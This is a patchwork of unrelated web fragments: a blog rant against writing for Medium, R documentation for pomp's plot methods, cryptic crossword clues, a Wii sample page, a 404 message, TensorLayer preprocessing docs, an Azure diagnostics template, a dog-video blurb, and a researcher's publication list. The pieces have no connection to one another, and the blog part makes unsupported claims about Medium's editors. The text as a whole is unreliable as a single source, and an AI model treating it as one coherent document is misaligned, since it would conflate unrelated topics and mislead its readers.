Or take Medium, for example. There are, quite frankly, some fantastic pieces of work on Medium. But writers are giving away this amazing content to Medium for free. If Medium paid writers 99 cents per article, how many would jump at the chance? Scoff if you wish, but Ev Williams offers nothing more than “a beautiful space for reading and writing” in exchange for all your hard work. And still, writers flock to the Medium oasis mindlessly. Well, to be fair not all writers are so gullible, as articles such as this and this (on Medium ironically) are quick to point out. By the way, I happen to know that dissenting articles are no longer being approved by Medium’s gatekeepers (editors).
 Long after you die, all the writing you gave away to Medium or Tumblr or whoever will live on indefinitely, continuously generating money for the people you gave it away to. Maybe you’re okay with that - hey, it’s your legacy after all. But I know when I leave this world, my writing will leave with me (1). And I’m just fine with that.
(1) Or, more accurately, my blog hosting plan will expire and my self-hosted Wordpress installation will break with a sickening crunch of finality as the MySQL database is deleted from the server.


| plot {pomp} | R Documentation |
Diagnostic plots.
## S4 method for signature 'pomp_plottable'
plot(
x,
variables,
panel = lines,
nc = NULL,
yax.flip = FALSE,
mar = c(0, 5.1, 0, if (yax.flip) 5.1 else 2.1),
oma = c(6, 0, 5, 0),
axes = TRUE,
...
)
## S4 method for signature 'Pmcmc'
plot(x, ..., pars)
## S4 method for signature 'Abc'
plot(x, ..., pars, scatter = FALSE)
## S4 method for signature 'Mif2'
plot(x, ..., pars, transform = FALSE)
## S4 method for signature 'probed_pomp'
plot(x, y, ...)
## S4 method for signature 'spectd_pomp'
plot(
x,
...,
max.plots.per.page = 4,
plot.data = TRUE,
quantiles = c(0.025, 0.25, 0.5, 0.75, 0.975),
quantile.styles = list(lwd = 1, lty = 1, col = "gray70"),
data.styles = list(lwd = 2, lty = 2, col = "black")
)
## S4 method for signature 'bsmcd_pomp'
plot(x, pars, thin, ...)
## S4 method for signature 'probe_match_objfun'
plot(x, y, ...)
## S4 method for signature 'spect_match_objfun'
plot(x, y, ...)
x |
the object to plot |
variables |
optional character; names of variables to be displayed |
panel |
function of the form |
nc |
the number of columns to use. Defaults to 1 for up to 4 series, otherwise to 2. |
yax.flip |
logical; if TRUE, the y-axis (ticks and numbering) should flip from side 2 (left) to 4 (right) from series to series. |
mar , oma |
the |
axes |
logical; indicates if x- and y- axes should be drawn |
... |
ignored or passed to low-level plotting functions |
pars |
names of parameters. |
scatter |
logical; if |
transform |
logical; should the parameter be transformed onto the estimation scale? |
y |
ignored |
max.plots.per.page |
positive integer; maximum number of plots on a page |
plot.data |
logical; should the data spectrum be included? |
quantiles |
numeric; quantiles to display |
quantile.styles |
list; plot styles to use for quantiles |
data.styles |
list; plot styles to use for data |
thin |
integer; when the number of samples is very large, it can be helpful to plot a random subsample:
|


Across: 8. Medium in triplet alien (8) 9. Roughly no reds sounded like being in the bed (6) 11. see 3-Down 12. Iron out backward German town in feeling uplifting (9) 13. Feels ill returning land (4) 14. I may bug it, creating order from confusion (9) 17. Upset about grass, we hear (7) 18. Printers' pointers provide powers (7) 20. Instant house lost exterior - significant? (9) 22. A handicap when broken, a handicap as spoken (4) 25. Sports university finds hard work to be slippery ingredient (6,3) 26,5-Down. Pale, fluid sand limits rapid progress (5,3,6) 27. Spirit sources some photography (6) 28. Heel steps on leading two toes only (8) Down: 1. Pranks miss boss in ... (9) 2. ... street, sort of bearing for pedestrian (8) 3,11-Across. I depart Emergency, angry at arrangement of streets and lights (5-5) 4. Finding grit? (13) 5. see 26-Across 6. Creator, in part, is to blame (6) 7. Saying "Era! Era!" (5) 10. In 501 against one: being two, but being one (13) 15. In (17-Across) way, hand out totally (9) 16. Slur as one in person (9) 19. Gets in touch with visual aids (8) 21. Animal Al is in bloom (6) 23. His Pa gets about like an animal (5) 24. Silly ally, not even using cunning (5)


Sample Page Using the Advanced Features of the Internet Channel
This is a sample page that obtains and displays the Wii remote status every 0.1 seconds.
1P
2P
----
----
3P
4P
----
----


Sorry, unfortunately the page could not be found
You can visit our
home page
or try using your browser's back button to return to the previous page.


tensorlayer.preprocess
¶
distorted_images ([images, height, width]) |
Distort images for generating more training data. |
crop_central_whiten_images ([images, height, ...]) |
Crop the central of image, and normailize it for test data. |
Images¶
-
tensorlayer.preprocess.
distorted_images
(images=None, height=24, width=24)[source]¶ Distort images for generating more training data.
They are cropped to height * width pixels randomly.
They are approximately whitened to make the model insensitive to dynamic range.
Randomly flip the image from left to right.
Randomly distort the image brightness.
Randomly distort the image contrast.
Whiten (Normalize) the images.
- images : 4D Tensor
- The tensor or placeholder of images
- height : int
- The height for random crop.
- width: int
- The width for random crop.
- result : tuple of Tensor
- (Tensor for distorted images, Tensor for while loop index)
>>> X_train, y_train, X_test, y_test = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3), plotable=False) >>> sess = tf.InteractiveSession() >>> batch_size = 128 >>> x = tf.placeholder(tf.float32, shape=[batch_size, 32, 32, 3]) >>> distorted_images_op = tl.preprocess.distorted_images(images=x, height=24, width=24) >>> sess.run(tf.initialize_all_variables()) >>> feed_dict={x: X_train[0:batch_size,:,:,:]} >>> distorted_images, idx = sess.run(distorted_images_op, feed_dict=feed_dict) >>> tl.visualize.images2d(X_train[0:9,:,:,:], second=2, saveable=False, name='cifar10', dtype=np.uint8, fig_idx=20212) >>> tl.visualize.images2d(distorted_images[1:10,:,:,:], second=10, saveable=False, name='distorted_images', dtype=None, fig_idx=23012)
The first image in ‘distorted_images’ should be removed.
-
tensorlayer.preprocess.
crop_central_whiten_images
(images=None, height=24, width=24)[source]¶ Crop the central of image, and normailize it for test data.
They are cropped to central of height * width pixels.
Whiten (Normalize) the images.
- images : 4D Tensor
- The tensor or placeholder of images
- height : int
- The height for central crop.
- width: int
- The width for central crop.
- result : tuple Tensor
- (Tensor for distorted images, Tensor for while loop index)
>>> X_train, y_train, X_test, y_test = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3), plotable=False) >>> sess = tf.InteractiveSession() >>> batch_size = 128 >>> x = tf.placeholder(tf.float32, shape=[batch_size, 32, 32, 3]) >>> central_images_op = tl.preprocess.crop_central_whiten_images(images=x, height=24, width=24) >>> sess.run(tf.initialize_all_variables()) >>> feed_dict={x: X_train[0:batch_size,:,:,:]} >>> central_images, idx = sess.run(central_images_op, feed_dict=feed_dict) >>> tl.visualize.images2d(X_train[0:9,:,:,:], second=2, saveable=False, name='cifar10', dtype=np.uint8, fig_idx=20212) >>> tl.visualize.images2d(central_images[1:10,:,:,:], second=10, saveable=False, name='central_images', dtype=None, fig_idx=23012)
The first image in ‘central_images’ should be removed.
tensorflow.models.image.cifar10.cifar10_input


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|---|---|
| Mode: |
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|
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the instances to update if you recently Scaled-Up or Scaled-down
the App Service Plan.
|
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| Instance | Status |
|---|---|
| {{ instance.machineName }} | {{ instance.error }} Submitted |
| Data | Reports |
|---|---|
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{{ sessionStatus === 2 ? 'Waiting...' : 'Analyzing...' }}
|


Strong and Independent: Adorable Golden Retriever Taking Dog-Lead, Walking Itself
Golden retrievers are very smart dogs, but the new generation of dogs keeps getting smarter and smarter. They can even take care of themselves, like this charming girl from the video.
Puppies grow up so fast: yesterday you watched a little clumsy pooch taking its first steps and today your little pupster is already a stunning grown-up dog that can take care of itself. Parents of this beautiful girl from the video put a lot of effort into her upbringing. Now, the doggo is absolutely independent as it can go for a walk herself, not waiting for anybody.


All Modules / Classes
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(class)
RdfsRulebook
(class)
RDF::Statement
(class)


{% comment %} Copyright 2017 Workonline Communications (Pty) Ltd. All rights reserved. The contents of this file are licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. {% endcomment %}
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Execute a query to see formatted output here


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Self-supervised learning and uncertainty estimation for surgical margin detection
Ayesha Syeda, Fahimeh Fooladgar, Amoon Jamzad, Dilakshan Srikanthan, Martin Kaufmann, Kevin Ren, Jay Engel, Ross Walker, Shaila Merchant, Doug McKay, Sonal Varma, Gabor Fichtinger, John Rudan, Parvin Mousavi
SPIE Medical Imaging 2023 (to appear)
Attention based multi-instance learning for improved glioblastoma detection using mass spectrometry
Dilakshan Srikanthan, Martin Kaufmann, Amoon Jamzad,
Ayesha Syeda, Alice Santilli, Alireza Sedghi, Gabor Fichtinger, Jamie Purzner, John Rudan, Teresa Purzner, Parvin Mousavi
SPIE Medical Imaging 2023 (to appear)
REIMSViSSion: Improving surgical margins via 2D representation and self-supervision of mass spectrometry data
Laura Connolly, Amoon Jamzad, Fahimeh Fooladgar,
Ayesha Syeda, Martin Kaufmann, Kevin Ren, Purang Abolmaesumi, John F. Rudan, Doug McKay, Gabor Fichtinger and Parvin Mousavi
The 14th International Conference on Information Processing in Computer-Assisted Interventions (IPCAI) 2023 (to appear)
Margin detection in skin cancer surgery via 2D representation of mass spectrometry data
Laura Connolly, Fahimeh Fooladgar, Amoon Jamzad,
Ayesha Syeda, Martin Kaufmann, Kevin Ren, Purang Abolmaesumi, John F. Rudan, Doug McKay, Gabor Fichtinger and Parvin Mousavi
The 21st Annual Imaging Network Ontario Symposium (ImNO) 2023 (to appear)
Improved surgical margin detection in mass spectrometry data using uncertainty estimation
Ayesha Syeda, Fahimeh Fooladgar, Amoon Jamzad, Martin Kauffman, Kevin Ren, Jay Engel, Ross Walker, Shaila Merchant, Doug McKay, Sonal Varma, Gabor Fichtinger, John Rudan, Parvin Mousavi
The 21st Annual Imaging Network Ontario Symposium (ImNO) 2023 (to appear)
A Qualitative Study of Group Work and Participation Dynamics in a CS2 Active Learning Environment
Rutwa Engineer,
Ayesha Naeem Syeda, and Bogdan Simion
The 26th ACM Conference on Innovation and Technology in Computer Science Education (ITiCSE) 2021
Analyzing the Effects of Active Learning Classrooms in CS2
Ayesha Naeem Syeda, Rutwa Engineer, and Bogdan Simion
The 51st ACM Technical Symposium on Computer Science Education (SIGCSE) 2020